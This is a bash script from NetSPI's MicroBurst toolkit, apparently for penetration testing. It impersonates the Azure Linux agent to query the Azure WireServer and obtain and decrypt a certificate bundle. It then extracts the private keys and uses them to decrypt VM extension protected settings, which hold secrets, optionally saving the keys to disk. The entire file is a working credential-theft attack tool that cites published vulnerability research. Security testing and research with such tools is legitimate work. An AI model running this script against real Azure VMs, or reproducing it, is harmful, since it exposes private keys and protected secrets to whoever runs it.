Files
NetSPI-MicroBurst/Misc/Get-AzureVMExtensionSettingsWireServer-Linux.sh
2025-10-23 08:05:37 -07:00

629 lines
21 KiB
Bash

#!/bin/bash
#
# File: Get-AzureVMExtensionSettingsWireServer-Linux.sh
# Author: Karl Fosaaen (@kfosaaen), NetSPI - 2025
# Description: Bash script for dumping and decrypting Azure VM Extension Settings via the WireServer endpoint
# Original Research:
# - "ChaosDB explained: Azure's Cosmos DB vulnerability walkthrough" by Nir Ohfeld and Sagi Tzadik
# - https://www.wiz.io/blog/chaosdb-explained-azures-cosmos-db-vulnerability-walkthrough
# - "CVE-2021-27075: Microsoft Azure Vulnerability Allows Privilege Escalation and Leak of Private Data" by Paul Litvak
# - https://intezer.com/blog/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/
#
# Global variables
WIRESERVER_ENDPOINT="168.63.129.16"
GOALSTATE_URL="http://${WIRESERVER_ENDPOINT}/machine/?comp=goalstate"
VERBOSE=0 # 0 = off, 1 = verbose, 2 = very verbose
TEMP_DIR=""
OUTPUT_DIR=""
# Colors for output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color
# Function to print colored output
log_info() {
echo -e "${BLUE}[INFO]${NC} $1"
}
log_success() {
echo -e "${GREEN}[SUCCESS]${NC} $1"
}
log_warning() {
echo -e "${YELLOW}[WARNING]${NC} $1"
}
log_error() {
echo -e "${RED}[ERROR]${NC} $1"
}
log_verbose() {
if [ "$VERBOSE" -ge 1 ]; then
echo -e "${BLUE}[VERBOSE]${NC} $1" >&2
fi
}
log_very_verbose() {
if [ "$VERBOSE" -ge 2 ]; then
echo -e "${BLUE}[VERBOSE]${NC} $1" >&2
fi
}
# Function to check dependencies
check_dependencies() {
local missing_deps=()
# Check for required tools
command -v curl >/dev/null 2>&1 || missing_deps+=("curl")
command -v openssl >/dev/null 2>&1 || missing_deps+=("openssl")
command -v base64 >/dev/null 2>&1 || missing_deps+=("base64")
command -v sed >/dev/null 2>&1 || missing_deps+=("sed")
command -v grep >/dev/null 2>&1 || missing_deps+=("grep")
command -v awk >/dev/null 2>&1 || missing_deps+=("awk")
if [ ${#missing_deps[@]} -ne 0 ]; then
log_error "Missing required dependencies: ${missing_deps[*]}"
log_info "Please install missing dependencies:"
log_info " Ubuntu/Debian: sudo apt-get install curl openssl coreutils sed grep gawk"
log_info " RHEL/CentOS: sudo yum install curl openssl coreutils sed grep gawk"
return 1
fi
return 0
}
# Function to create temporary directory
create_temp_dir() {
TEMP_DIR=$(mktemp -d -t microburst-XXXXXX)
if [ $? -ne 0 ]; then
log_error "Failed to create temporary directory"
return 1
fi
log_verbose "Created temporary directory: $TEMP_DIR"
return 0
}
# Function to cleanup temporary files
cleanup() {
if [ -n "$TEMP_DIR" ] && [ -d "$TEMP_DIR" ]; then
rm -rf "$TEMP_DIR"
log_verbose "Cleaned up temporary directory: $TEMP_DIR"
fi
}
# Set trap to cleanup on exit
trap cleanup EXIT
# Function to decode HTML entities in URLs
decode_url() {
local url="$1"
echo "$url" | sed 's/&amp;/\&/g' | sed 's/&lt;/</g' | sed 's/&gt;/>/g' | sed 's/&quot;/"/g'
}
# Step 1: Request the configuration URLs from the Wireserver
get_goalstate_urls() {
log_verbose "Requesting goalstate configuration from WireServer..."
local goalstate_file="$TEMP_DIR/goalstate.xml"
if ! curl -s \
--max-time 10 \
-H "x-ms-agent-name: WALinuxAgent" \
-H "x-ms-version: 2012-11-30" \
-o "$goalstate_file" \
"$GOALSTATE_URL"; then
log_error "Failed to retrieve goalstate configuration"
return 1
fi
if [ ! -s "$goalstate_file" ]; then
log_error "Goalstate file is empty"
return 1
fi
log_verbose " Retrieved goalstate configuration"
# Extract ExtensionsConfig URL
local extensions_url
extensions_url=$(grep -o '<ExtensionsConfig[^>]*>[^<]*</ExtensionsConfig>' "$goalstate_file" | sed 's/<[^>]*>//g' | head -n1)
extensions_url=$(decode_url "$extensions_url")
if [ -z "$extensions_url" ]; then
log_error "Failed to extract ExtensionsConfig URL"
return 1
fi
log_very_verbose "ExtensionsConfig URL: $extensions_url"
# Extract Certificates URL
local certificates_url
certificates_url=$(grep -o '<Certificates[^>]*>[^<]*</Certificates>' "$goalstate_file" | sed 's/<[^>]*>//g' | head -n1)
certificates_url=$(decode_url "$certificates_url")
if [ -z "$certificates_url" ]; then
log_error "Failed to extract Certificates URL"
return 1
fi
log_very_verbose "Certificates URL: $certificates_url"
# Store URLs in files for later use
echo "$extensions_url" > "$TEMP_DIR/extensions_url.txt"
echo "$certificates_url" > "$TEMP_DIR/certificates_url.txt"
return 0
}
# Step 2: Request the ExtensionsConfig URL from the Wireserver
get_extension_config() {
log_verbose "Requesting ExtensionsConfig from WireServer..."
local extensions_url=$(cat "$TEMP_DIR/extensions_url.txt")
local extensions_file="$TEMP_DIR/extensions.xml"
if ! curl -s \
--max-time 10 \
-H "x-ms-agent-name: WALinuxAgent" \
-H "x-ms-version: 2012-11-30" \
-o "$extensions_file" \
"$extensions_url"; then
log_error "Failed to retrieve extensions configuration"
return 1
fi
if [ ! -s "$extensions_file" ]; then
log_error "Extensions configuration file is empty"
return 1
fi
log_verbose " Retrieved extensions configuration"
# Extract protected settings from PluginSettings within Plugin elements
extract_protected_settings_from_plugin "$extensions_file"
return 0
}
# Extract protected settings from PluginSettings field in Plugin elements
extract_protected_settings_from_plugin() {
local extensions_file="$1"
log_verbose "Extracting protected settings from PluginSettings..."
# Extract PluginSettings from Plugin elements
local plugin_settings
plugin_settings=$(sed -n '/<PluginSettings>/,/<\/PluginSettings>/p' "$extensions_file")
if [ -z "$plugin_settings" ]; then
log_warning "No PluginSettings found in extensions configuration"
return 1
fi
log_verbose " Found PluginSettings in extension configuration"
# Extract protectedSettings and thumbprint from the JSON within PluginSettings
local protected_settings
protected_settings=$(echo "$plugin_settings" | sed -n 's/.*"protectedSettings"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' | head -n1)
local thumbprint
thumbprint=$(echo "$plugin_settings" | sed -n 's/.*"protectedSettingsCertThumbprint"[[:space:]]*:[[:space:]]*"\([^"]*\)".*/\1/p' | head -n1)
local extension_name
extension_name=$(grep -o 'name="[^"]*"' "$extensions_file" | head -n1 | sed 's/name="\([^"]*\)"/\1/')
if [ -n "$protected_settings" ] && [ -n "$thumbprint" ]; then
log_success "Found extension with protected settings: $extension_name"
log_verbose "Certificate thumbprint: $thumbprint"
echo "$protected_settings" > "$TEMP_DIR/protected_settings.txt"
echo "$thumbprint" > "$TEMP_DIR/thumbprint.txt"
if [ -n "$extension_name" ]; then
echo "$extension_name" > "$TEMP_DIR/extension_name.txt"
fi
return 0
else
log_warning "No protected settings found in PluginSettings"
return 1
fi
}
# Step 3: Generate a local key pair
generate_transport_certificate() {
log_verbose "Generating transport certificate and key pair..."
local cert_key="$TEMP_DIR/transport.key"
local cert_crt="$TEMP_DIR/transport.crt"
local cert_der="$TEMP_DIR/transport.der"
# Generate private key
if ! openssl genrsa -out "$cert_key" 2048 >/dev/null 2>&1; then
log_error "Failed to generate private key"
return 1
fi
# Generate self-signed certificate
if ! openssl req -new -x509 -key "$cert_key" -out "$cert_crt" -days 1 \
-subj "/CN=MicroBurst-Temp" >/dev/null 2>&1; then
log_error "Failed to generate certificate"
return 1
fi
# Convert to DER format (required by WireServer)
if ! openssl x509 -in "$cert_crt" -outform DER -out "$cert_der" >/dev/null 2>&1; then
log_error "Failed to convert certificate to DER format"
return 1
fi
log_verbose " Generated transport certificate and key pair"
return 0
}
# Step 4: Request the certificate bundle from the WireServer
get_certificate_bundle() {
log_verbose "Requesting certificate bundle from WireServer..."
local certificates_url=$(cat "$TEMP_DIR/certificates_url.txt")
local cert_der="$TEMP_DIR/transport.der"
local bundle_file="$TEMP_DIR/certificate_bundle.xml"
# Base64 encode the DER certificate
local cert_base64
cert_base64=$(base64 -w 0 "$cert_der")
# Request certificate bundle with transport certificate
if ! curl -s \
--max-time 10 \
-H "x-ms-agent-name: WALinuxAgent" \
-H "x-ms-version: 2012-11-30" \
-H "x-ms-cipher-name: DES_EDE3_CBC" \
-H "x-ms-guest-agent-public-x509-cert: $cert_base64" \
-o "$bundle_file" \
"${certificates_url}&type=fullConfig"; then
log_error "Failed to retrieve certificate bundle"
return 1
fi
if [ ! -s "$bundle_file" ]; then
log_error "Certificate bundle file is empty"
return 1
fi
log_verbose " Retrieved certificate bundle ($(wc -c < "$bundle_file") bytes)"
return 0
}
# Step 5: Decrypt the certificate bundle
decrypt_certificate_bundle() {
log_verbose "Decrypting certificate bundle..."
local bundle_file="$TEMP_DIR/certificate_bundle.xml"
local cert_key="$TEMP_DIR/transport.key"
local decrypted_file="$TEMP_DIR/decrypted_bundle.p7b"
# Extract base64 data from XML
local bundle_data
bundle_data=$(awk '/<Data>/,/<\/Data>/' "$bundle_file" | sed 's/<Data>//g' | sed 's/<\/Data>//g' | tr -d '\n\r\t ')
if [ -z "$bundle_data" ]; then
log_error "Failed to extract certificate data from XML"
return 1
fi
log_very_verbose "Extracted certificate data (${#bundle_data} characters)"
# Decode base64 to binary
local raw_bundle="$TEMP_DIR/raw_bundle.p7b"
echo "$bundle_data" | base64 -d > "$raw_bundle"
# Decrypt using transport private key (PKCS#7/CMS format)
if openssl cms -decrypt -inform DER -in "$raw_bundle" -inkey "$cert_key" -out "$decrypted_file" 2>/dev/null; then
log_verbose " Successfully decrypted certificate bundle using CMS"
elif openssl smime -decrypt -inform DER -in "$raw_bundle" -inkey "$cert_key" -out "$decrypted_file" 2>/dev/null; then
log_verbose " Successfully decrypted certificate bundle using SMIME"
else
log_error "Failed to decrypt certificate bundle"
log_error "The WireServer may have changed the encryption format"
return 1
fi
if [ ! -s "$decrypted_file" ]; then
log_error "Decrypted bundle is empty"
return 1
fi
return 0
}
# Step 6: Extract certificates and private keys from the decrypted bundle
extract_certificates_from_bundle() {
log_verbose "Extracting certificates and private keys from bundle..."
local decrypted_file="$TEMP_DIR/decrypted_bundle.p7b"
local cert_dir="$TEMP_DIR/certs"
mkdir -p "$cert_dir"
# Try to extract as PKCS#12 bundle
if openssl pkcs12 -in "$decrypted_file" -nodes -passin pass: -out "$cert_dir/bundle.pem" 2>/dev/null; then
log_verbose " Extracted certificates as PKCS#12 bundle"
# Split into individual certificate and key files, storing them as local files
awk '
BEGIN { cert_num = 0; key_num = 0; in_cert = 0; in_key = 0; }
/-----BEGIN CERTIFICATE-----/ {
cert_num++;
in_cert = 1;
cert_file = "'$cert_dir'/cert_" cert_num ".pem"
print $0 > cert_file
next
}
/-----END CERTIFICATE-----/ {
print $0 >> cert_file
close(cert_file)
in_cert = 0
next
}
/-----BEGIN PRIVATE KEY-----/ || /-----BEGIN RSA PRIVATE KEY-----/ || /-----BEGIN ENCRYPTED PRIVATE KEY-----/ {
key_num++;
in_key = 1;
key_file = "'$cert_dir'/key_" key_num ".pem"
print $0 > key_file
next
}
/-----END PRIVATE KEY-----/ || /-----END RSA PRIVATE KEY-----/ || /-----END ENCRYPTED PRIVATE KEY-----/ {
print $0 >> key_file
close(key_file)
in_key = 0
next
}
in_cert { print $0 >> cert_file }
in_key { print $0 >> key_file }
' "$cert_dir/bundle.pem"
local cert_count=$(ls "$cert_dir"/cert_*.pem 2>/dev/null | wc -l)
local key_count=$(ls "$cert_dir"/key_*.pem 2>/dev/null | wc -l)
log_verbose " Extracted and stored $cert_count certificate(s) and $key_count private key(s) as local files"
# If output directory is specified, copy the extracted keys and certs there
if [ -n "$OUTPUT_DIR" ]; then
mkdir -p "$OUTPUT_DIR"
log_info "Saving extracted certificates and private keys to: $OUTPUT_DIR"
for key_file in "$cert_dir"/key_*.pem; do
if [ -f "$key_file" ]; then
cp "$key_file" "$OUTPUT_DIR/"
log_very_verbose "Saved private key: $OUTPUT_DIR/$(basename "$key_file")"
fi
done
for cert_file in "$cert_dir"/cert_*.pem; do
if [ -f "$cert_file" ]; then
cp "$cert_file" "$OUTPUT_DIR/"
log_very_verbose "Saved certificate: $OUTPUT_DIR/$(basename "$cert_file")"
fi
done
# Also save the full bundle
cp "$cert_dir/bundle.pem" "$OUTPUT_DIR/full_bundle.pem"
log_very_verbose "Saved full bundle: $OUTPUT_DIR/full_bundle.pem"
fi
# List the extracted files for verification
for key_file in "$cert_dir"/key_*.pem; do
if [ -f "$key_file" ]; then
log_very_verbose " Extracted private key: $(basename "$key_file")"
fi
done
if [ "$key_count" -eq 0 ]; then
log_error "No private keys were extracted from the bundle"
return 1
fi
return 0
else
log_error "Failed to extract certificates from bundle"
return 1
fi
}
# Step 7: Decrypt the protected settings
decrypt_protected_settings() {
log_verbose "Decrypting protected settings..."
local protected_settings=$(cat "$TEMP_DIR/protected_settings.txt")
local cert_dir="$TEMP_DIR/certs"
# Decode base64 protected settings to binary
local encrypted_file="$TEMP_DIR/encrypted_settings.bin"
echo "$protected_settings" | base64 -d > "$encrypted_file"
# Try each private key to decrypt
for key_file in "$cert_dir"/key_*.pem; do
if [ ! -f "$key_file" ]; then
continue
fi
local decrypted_file="$TEMP_DIR/decrypted_settings.json"
# Try to decrypt using PKCS#7/CMS
if openssl cms -decrypt -inform DER -in "$encrypted_file" -inkey "$key_file" -out "$decrypted_file" 2>/dev/null; then
if [ -s "$decrypted_file" ] && grep -q '{' "$decrypted_file" 2>/dev/null; then
log_very_verbose "Successfully decrypted protected settings with $(basename "$key_file")"
cat "$decrypted_file"
echo ""
return 0
fi
fi
# Try SMIME format
if openssl smime -decrypt -inform DER -in "$encrypted_file" -inkey "$key_file" -out "$decrypted_file" 2>/dev/null; then
if [ -s "$decrypted_file" ] && grep -q '{' "$decrypted_file" 2>/dev/null; then
log_very_verbose "Successfully decrypted protected settings with $(basename "$key_file")"
cat "$decrypted_file"
echo ""
return 0
fi
fi
done
log_error "Failed to decrypt protected settings with any available key"
return 1
}
# Function to display usage
usage() {
cat << EOF
Usage: $0 [OPTIONS]
Azure VM Extension Settings WireServer Extraction Tool (Linux)
This script extracts and decrypts Azure VM Extension protected settings by
communicating with the Azure WireServer endpoint (168.63.129.16).
OPTIONS:
-o, --output DIR Output directory to save extracted certificates and private keys
-v, --verbose Enable verbose output
-vv Enable very verbose output (includes URLs and detailed debug info)
-h, --help Show this help message
EXAMPLES:
$0 # Basic extraction and decryption
$0 -v # Verbose output
$0 -vv # Very verbose output (debug mode)
$0 -o /tmp/certs # Save extracted keys to /tmp/certs
$0 -vv -o ./azure_certs # Very verbose output and save keys
NOTES:
- This script must be run on an Azure Linux VM
- Root privileges are required for WireServer access
- Required tools: curl, openssl, base64, sed, grep, awk
- If -o is specified, extracted private keys and certificates will be saved persistently
REFERENCES:
- https://intezer.com/blog/cve-2021-27075-microsoft-azure-vulnerability-allows-privilege-escalation-and-leak-of-data/
- https://www.wiz.io/blog/chaosdb-explained-azures-cosmos-db-vulnerability-walkthrough
EOF
}
# Main function
main() {
# Parse command line arguments
while [[ $# -gt 0 ]]; do
case $1 in
-o|--output)
OUTPUT_DIR="$2"
shift 2
;;
-vv)
VERBOSE=2
shift
;;
-v|--verbose)
VERBOSE=1
shift
;;
-h|--help)
usage
exit 0
;;
*)
log_error "Unknown option: $1"
usage
exit 1
;;
esac
done
log_info "Azure VM Extension Settings WireServer Extraction Tool"
log_info "================================================================"
# Check dependencies
if ! check_dependencies; then
exit 1
fi
# Create temporary directory
if ! create_temp_dir; then
exit 1
fi
# Step 1: Get goalstate URLs
if ! get_goalstate_urls; then
log_error "Failed to retrieve goalstate configuration"
exit 1
fi
# Step 2: Get extension configuration and extract protected settings
if ! get_extension_config; then
log_error "Failed to retrieve extension configuration"
exit 1
fi
# Check if protected settings were found
if [ ! -f "$TEMP_DIR/protected_settings.txt" ]; then
log_warning "No protected settings found on this VM"
log_info "This VM may not have any extensions with protected settings configured"
exit 0
fi
# Step 3: Generate transport certificate
if ! generate_transport_certificate; then
log_error "Failed to generate transport certificate"
exit 1
fi
# Step 4: Get certificate bundle
if ! get_certificate_bundle; then
log_error "Failed to retrieve certificate bundle"
exit 1
fi
# Step 5: Decrypt certificate bundle
if ! decrypt_certificate_bundle; then
log_error "Failed to decrypt certificate bundle"
exit 1
fi
# Step 6: Extract certificates from bundle
if ! extract_certificates_from_bundle; then
log_error "Failed to extract certificates from bundle"
exit 1
fi
# Step 7 & 8: Decrypt and print protected settings
log_info ""
log_success "=== DECRYPTED PROTECTED SETTINGS ==="
if decrypt_protected_settings; then
log_success "===================================="
log_info ""
log_success "Successfully decrypted VM extension protected settings!"
if [ -n "$OUTPUT_DIR" ]; then
log_info ""
log_info "Extracted certificates and private keys saved to: $OUTPUT_DIR"
log_very_verbose "Files saved:"
log_very_verbose " - key_*.pem (private keys)"
log_very_verbose " - cert_*.pem (certificates)"
log_very_verbose " - full_bundle.pem (complete certificate bundle)"
fi
else
log_error "Failed to decrypt protected settings"
exit 1
fi
}
# Run main function if script is executed directly
if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
main "$@"
fi